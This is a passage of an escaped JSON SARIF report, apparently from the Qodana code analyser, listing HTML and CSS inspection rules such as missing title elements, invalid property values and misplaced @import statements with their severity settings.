\"markdown\": \"Reports a missing `title` element inside a `head` section. Suggests adding a `title` element. The title should describe the document. Based on WCAG 2.0: [H25](https://www.w3.org/TR/WCAG20-TECHS/H25.html).\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"HtmlRequiredTitleElement\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"HTML/Accessibility\",\n                      \"index\": 20,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"HtmlDeprecatedAttribute\",\n                \"shortDescription\": {\n                  \"text\": \"Obsolete attribute\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an obsolete HTML5 attribute.\",\n                  \"markdown\": \"Reports an obsolete HTML5 attribute.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"HtmlDeprecatedAttribute\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"HTML\",\n                      \"index\": 14,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"HtmlPresentationalElement\",\n                \"shortDescription\": {\n                  \"text\": \"Presentational tag\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a presentational HTML tag. Suggests replacing the presentational tag with a CSS or another tag.\",\n                  \"markdown\": \"Reports a presentational HTML tag. Suggests replacing the presentational tag with a CSS or another tag.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"HtmlPresentationalElement\",\n                    \"ideaSeverity\": \"INFORMATION\",\n                    \"qodanaSeverity\": \"Info\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"HTML\",\n                      \"index\": 14,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              }\n            ],\n            \"language\": \"en-US\",\n            \"contents\": [\n              \"localizedData\",\n              \"nonLocalizedData\"\n            ],\n            \"isComprehensive\": false\n          },\n          {\n            \"name\": \"com.intellij.css\",\n            \"version\": \"233.13017\",\n            \"rules\": [\n              {\n                \"id\": \"CssInvalidHtmlTagReference\",\n                \"shortDescription\": {\n                  \"text\": \"Invalid type selector\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a CSS type selector that matches an unknown HTML element.\",\n                  \"markdown\": \"Reports a CSS [type selector](https://developer.mozilla.org/en-US/docs/Web/CSS/Type_selectors) that matches an unknown HTML element.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"CssInvalidHtmlTagReference\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"CSS/Invalid elements\",\n                      \"index\": 26,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"CssInvalidCustomPropertyAtRuleDeclaration\",\n                \"shortDescription\": {\n                  \"text\": \"Invalid @property declaration\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a missing required syntax, inherits, or initial-value property in a declaration of a custom property.\",\n                  \"markdown\": \"Reports a missing required [syntax](https://developer.mozilla.org/en-US/docs/web/css/@property/syntax), [inherits](https://developer.mozilla.org/en-US/docs/web/css/@property/inherits), or [initial-value](https://developer.mozilla.org/en-US/docs/web/css/@property/initial-value) property in a declaration of a custom property.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"error\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"CssInvalidCustomPropertyAtRuleDeclaration\",\n                    \"ideaSeverity\": \"ERROR\",\n                    \"qodanaSeverity\": \"Critical\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"CSS/Invalid elements\",\n                      \"index\": 26,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"CssInvalidFunction\",\n                \"shortDescription\": {\n                  \"text\": \"Invalid function\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an unknown CSS function or an incorrect function parameter.\",\n                  \"markdown\": \"Reports an unknown [CSS function](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Functions) or an incorrect function parameter.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"error\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"CssInvalidFunction\",\n                    \"ideaSeverity\": \"ERROR\",\n                    \"qodanaSeverity\": \"Critical\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"CSS/Invalid elements\",\n                      \"index\": 26,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"CssMissingSemicolon\",\n                \"shortDescription\": {\n                  \"text\": \"Missing semicolon\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a missing semicolon at the end of a declaration.\",\n                  \"markdown\": \"Reports a missing semicolon at the end of a declaration.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"CssMissingSemicolon\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"CSS/Code style issues\",\n                      \"index\": 35,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"CssRedundantUnit\",\n                \"shortDescription\": {\n                  \"text\": \"Redundant measure unit\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a measure unit of a zero value where units are not required by the specification. Example: 'width: 0px'\",\n                  \"markdown\": \"Reports a measure unit of a zero value where units are not required by the specification.\\n\\n**Example:**\\n\\n    width: 0px\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"CssRedundantUnit\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"CSS/Code style issues\",\n                      \"index\": 35,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"CssMissingComma\",\n                \"shortDescription\": {\n                  \"text\": \"Missing comma in selector list\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a multi-line selector. Most likely this means that several single-line selectors are actually intended but a comma is missing at the end of one or several lines. Example: 'input /* comma has probably been forgotten */\\n.button {\\n  margin: 1px;\\n}'\",\n                  \"markdown\": \"Reports a multi-line selector. Most likely this means that several single-line selectors are actually intended but a comma is missing at the end of one or several lines.\\n\\n**Example:**\\n\\n\\n    input /* comma has probably been forgotten */\\n    .button {\\n      margin: 1px;\\n    }\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"CssMissingComma\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"CSS/Probable bugs\",\n                      \"index\": 45,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"CssInvalidPropertyValue\",\n                \"shortDescription\": {\n                  \"text\": \"Invalid property value\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an incorrect CSS property value.\",\n                  \"markdown\": \"Reports an incorrect CSS property value.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"error\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"CssInvalidPropertyValue\",\n                    \"ideaSeverity\": \"ERROR\",\n                    \"qodanaSeverity\": \"Critical\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"CSS/Invalid elements\",\n                      \"index\": 26,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"CssBrowserCompatibilityForProperties\",\n                \"shortDescription\": {\n                  \"text\": \"Property is incompatible with selected browsers\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a CSS property that is not supported by the specified browsers. Based on the MDN Compatibility Data.\",\n                  \"markdown\": \"Reports a CSS property that is not supported by the specified browsers. Based on the [MDN Compatibility Data](https://github.com/mdn/browser-compat-data).\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"CssBrowserCompatibilityForProperties\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"CSS\",\n                      \"index\": 25,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"CssInvalidCustomPropertyAtRuleName\",\n                \"shortDescription\": {\n                  \"text\": \"Invalid @property name\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an invalid custom property name. Custom property name should be prefixed with two dashes. Example: '@property invalid-property-name {\\n  ...\\n}\\n\\n@property --valid-property-name {\\n  ...\\n}'\",\n                  \"markdown\": \"Reports an invalid custom property name. Custom property name should be prefixed with two dashes.\\n\\n**Example:**\\n\\n\\n    @property invalid-property-name {\\n      ...\\n    }\\n\\n    @property --valid-property-name {\\n      ...\\n    }\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"error\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"CssInvalidCustomPropertyAtRuleName\",\n                    \"ideaSeverity\": \"ERROR\",\n                    \"qodanaSeverity\": \"Critical\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"CSS/Invalid elements\",\n                      \"index\": 26,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"CssConvertColorToHexInspection\",\n                \"shortDescription\": {\n                  \"text\": \"Color could be replaced with #-hex\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an 'rgb()', 'hsl()', or other color function. Suggests replacing a color function with an equivalent hexadecimal notation. Example: 'rgb(12, 15, 255)' After the quick-fix is applied: '#0c0fff'.\",\n                  \"markdown\": \"Reports an `rgb()`, `hsl()`, or other color function.\\n\\nSuggests replacing a color function with an equivalent hexadecimal notation.\\n\\n**Example:**\\n\\n    rgb(12, 15, 255)\\n\\nAfter the quick-fix is applied:\\n\\n    #0c0fff.\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"CssConvertColorToHexInspection\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"CSS\",\n                      \"index\": 25,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"CssReplaceWithShorthandUnsafely\",\n                \"shortDescription\": {\n                  \"text\": \"Properties may probably be replaced with a shorthand\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a set of longhand CSS properties and suggests replacing an incomplete set of longhand CSS properties with a shorthand form, which is however not 100% equivalent in this case. For example, 2 properties: 'outline-color' and 'outline-style' may be replaced with a single 'outline'. Such replacement is not 100% equivalent because shorthands reset all omitted sub-values to their initial states. In this example, switching to the 'outline' shorthand means that 'outline-width' is also set to its initial value, which is 'medium'. This inspection doesn't handle full sets of longhand properties (when switching to shorthand is 100% safe). For such cases see the 'Properties may be safely replaced with a shorthand' inspection instead.\",\n                  \"markdown\": \"Reports a set of longhand CSS properties and suggests replacing an incomplete set of longhand CSS properties with a shorthand form, which is however not 100% equivalent in this case.\\n\\n\\nFor example, 2 properties: `outline-color` and `outline-style` may be replaced with a single `outline`.\\nSuch replacement is not 100% equivalent because shorthands reset all omitted sub-values to their initial states.\\nIn this example, switching to the `outline` shorthand means that `outline-width` is also set to its initial value,\\nwhich is `medium`.\\n\\n\\nThis inspection doesn't handle full sets of longhand properties (when switching to shorthand is 100% safe).\\nFor such cases see the 'Properties may be safely replaced with a shorthand' inspection instead.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"CssReplaceWithShorthandUnsafely\",\n                    \"ideaSeverity\": \"INFORMATION\",\n                    \"qodanaSeverity\": \"Info\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"CSS\",\n                      \"index\": 25,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"CssUnknownUnit\",\n                \"shortDescription\": {\n                  \"text\": \"Unknown unit\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an unknown unit.\",\n                  \"markdown\": \"Reports an unknown unit.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"error\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"CssUnknownUnit\",\n                    \"ideaSeverity\": \"ERROR\",\n                    \"qodanaSeverity\": \"Critical\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"CSS/Invalid elements\",\n                      \"index\": 26,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"CssInvalidMediaFeature\",\n                \"shortDescription\": {\n                  \"text\": \"Invalid media feature\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an unknown CSS media feature or an incorrect media feature value.\",\n                  \"markdown\": \"Reports an unknown [CSS media feature](https://developer.mozilla.org/en-US/docs/Web/CSS/Media_Queries/Using_media_queries) or an incorrect media feature value.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"error\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"CssInvalidMediaFeature\",\n                    \"ideaSeverity\": \"ERROR\",\n                    \"qodanaSeverity\": \"Critical\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"CSS/Invalid elements\",\n                      \"index\": 26,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"CssConvertColorToRgbInspection\",\n                \"shortDescription\": {\n                  \"text\": \"Color could be replaced with rgb()\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an 'hsl()' or 'hwb()' color function or a hexadecimal color notation. Suggests replacing such color value with an equivalent 'rgb()' or 'rgba()' color function. Example: '#0c0fff' After the quick-fix is applied: 'rgb(12, 15, 255)'.\",\n                  \"markdown\": \"Reports an `hsl()` or `hwb()` color function or a hexadecimal color notation.\\n\\nSuggests replacing such color value with an equivalent `rgb()` or `rgba()` color function.\\n\\n**Example:**\\n\\n    #0c0fff\\n\\nAfter the quick-fix is applied:\\n\\n    rgb(12, 15, 255).\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"CssConvertColorToRgbInspection\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"CSS\",\n                      \"index\": 25,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"CssUnusedSymbol\",\n                \"shortDescription\": {\n                  \"text\": \"Unused selector\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a CSS class or an element IDs that appears in selectors but is not used in HTML. Note that complete inspection results are available only when running it via Code | Inspect Code or Code | Analyze Code | Run Inspection by Name. Due to performance reasons, style sheet files are not inspected on the fly.\",\n                  \"markdown\": \"Reports a CSS class or an element IDs that appears in selectors but is not used in HTML.\\n\\n\\nNote that complete inspection results are available only when running it via **Code \\\\| Inspect Code** or\\n**Code \\\\| Analyze Code \\\\| Run Inspection by Name**.\\nDue to performance reasons, style sheet files are not inspected on the fly.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"CssUnusedSymbol\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"CSS\",\n                      \"index\": 25,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"CssDeprecatedValue\",\n                \"shortDescription\": {\n                  \"text\": \"Deprecated value\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a deprecated CSS value. Suggests replacing the deprecated value with its valid equivalent.\",\n                  \"markdown\": \"Reports a deprecated CSS value. Suggests replacing the deprecated value with its valid equivalent.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"error\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"CssDeprecatedValue\",\n                    \"ideaSeverity\": \"ERROR\",\n                    \"qodanaSeverity\": \"Critical\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"CSS\",\n                      \"index\": 25,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"CssNonIntegerLengthInPixels\",\n                \"shortDescription\": {\n                  \"text\": \"Non-integer length in pixels\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a non-integer length in pixels. Example: 'width: 3.14px'\",\n                  \"markdown\": \"Reports a non-integer length in pixels.\\n\\n**Example:**\\n\\n     width: 3.14px\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"CssNonIntegerLengthInPixels\",\n                    \"ideaSeverity\": \"WEAK WARNING\",\n                    \"qodanaSeverity\": \"Moderate\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"CSS/Probable bugs\",\n                      \"index\": 45,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"CssInvalidImport\",\n                \"shortDescription\": {\n                  \"text\": \"Misplaced @import\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a misplaced '@import' statement. According to the specification, '@import' rules must precede all other types of rules, except '@charset' rules.\",\n                  \"markdown\": \"Reports a misplaced `@import` statement.\\n\\n\\nAccording to the [specification](https://developer.mozilla.org/en-US/docs/Web/CSS/@import),\\n`@import` rules must precede all other types of rules, except `@charset` rules.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"CssInvalidImport\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"CSS/Invalid elements\",\n                      \"index\": 26,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"CssInvalidAtRule\",\n                \"shortDescription\": {\n                  \"text\": \"Unknown at-rule\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an unknown CSS at-rule.\",\n                  \"markdown\": \"Reports an unknown [CSS at-rule](https://developer.mozilla.org/en-US/docs/Web/CSS/At-rule).\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"error\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"CssInvalidAtRule\",\n                    \"ideaSeverity\": \"ERROR\",\n                    \"qodanaSeverity\": \"Critical\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"CSS/Invalid elements\",\n                      \"index\": 26,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"CssUnresolvedCustomProperty\",\n                \"shortDescription\": {\n                  \"text\": \"Unresolved custom property\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an unresolved reference to a custom property among the arguments of the 'var()' function.\",\n                  \"markdown\": \"Reports an unresolved reference to a [custom property](https://developer.mozilla.org/en-US/docs/Web/CSS/--*) among the arguments of the `var()` function.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"error\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"CssUnresolvedCustomProperty\",\n                    \"ideaSeverity\": \"ERROR\",\n                    \"qodanaSeverity\": \"Critical\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"CSS/Invalid elements\",\n                      \"index\": 26,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"CssOverwrittenProperties\",\n                \"shortDescription\": {\n                  \"text\": \"Overwritten property\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a duplicated CSS property within a ruleset. Respects shorthand properties. Example: '.foo {\\n  margin-bottom: 1px;\\n  margin-bottom: 1px; /* duplicates margin-bottom */\\n  margin: 0; /* overrides margin-bottom */\\n}'\",\n                  \"markdown\": \"Reports a duplicated CSS property within a ruleset. Respects shorthand properties.\\n\\n**Example:**\\n\\n\\n    .foo {\\n      margin-bottom: 1px;\\n      margin-bottom: 1px; /* duplicates margin-bottom */\\n      margin: 0; /* overrides margin-bottom */\\n    }\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"CssOverwrittenProperties\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"CSS\",\n                      \"index\": 25,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"CssUnknownTarget\",\n                \"shortDescription\": {\n                  \"text\": \"Unresolved file reference\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an unresolved file reference, for example, an incorrect path in an '@import' statement.\",\n                  \"markdown\": \"Reports an unresolved file reference, for example, an incorrect path in an `@import` statement.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"error\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"CssUnknownTarget\",\n                    \"ideaSeverity\": \"ERROR\",\n                    \"qodanaSeverity\": \"Critical\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"CSS/Invalid elements\",\n                      \"index\": 26,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"CssNegativeValue\",\n                \"shortDescription\": {\n                  \"text\": \"Negative property value\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a negative value of a CSS property that is not expected to be less than zero, for example, object width or height.\",\n                  \"markdown\": \"Reports a negative value of a CSS property that is not expected to be less than zero, for example, object width or height.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"error\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"CssNegativeValue\",\n                    \"ideaSeverity\": \"ERROR\",\n                    \"qodanaSeverity\": \"Critical\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"CSS/Invalid elements\",\n                      \"index\": 26,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"CssNoGenericFontName\",\n                \"shortDescription\": {\n                  \"text\": \"Missing generic font family name\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Verifies that the 'font-family' property contains a generic font family name as a fallback alternative. Generic font family names are: 'serif', 'sans-serif', 'cursive', 'fantasy', and 'monospace'.\",\n                  \"markdown\": \"Verifies that the [font-family](https://developer.mozilla.org/en-US/docs/Web/CSS/font-family) property contains a generic font family name as a fallback alternative.\\n\\n\\nGeneric font family names are: `serif`, `sans-serif`, `cursive`, `fantasy`,\\nand `monospace`.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"CssNoGenericFontName\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"CSS/Probable bugs\",\n                      \"index\": 45,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"CssUnresolvedClassInComposesRule\",\n                \"shortDescription\": {\n                  \"text\": \"Unresolved class in 'composes' rule\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a CSS class reference in the 'composes' rule that cannot be resolved to any valid target. Example: '.className {/* ... */}\\n\\n  .otherClassName {\\n    composes: className;\\n  }'\",\n                  \"markdown\": \"Reports a CSS class reference in the ['composes'](https://github.com/css-modules/css-modules#composition) rule that cannot be resolved to any valid target.\\n\\n**Example:**\\n\\n\\n      .className {/* ... */}\\n\\n      .otherClassName {\\n        composes: className;\\n      }\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"error\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"CssUnresolvedClassInComposesRule\",\n                    \"ideaSeverity\": \"ERROR\",\n                    \"qodanaSeverity\": \"Critical\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"CSS/Invalid elements\",\n                      \"index\": 26,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"CssInvalidCharsetRule\",\n                \"shortDescription\": {\n                  \"text\": \"Misplaced or incorrect @charset\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a misplaced '@charset' at-rule or an incorrect charset value.\",\n                  \"markdown\": \"Reports a misplaced `@charset` at-rule or an incorrect charset value.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"CssInvalidCharsetRule\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"CSS/Invalid elements\",\n                      \"index\": 26,\n                      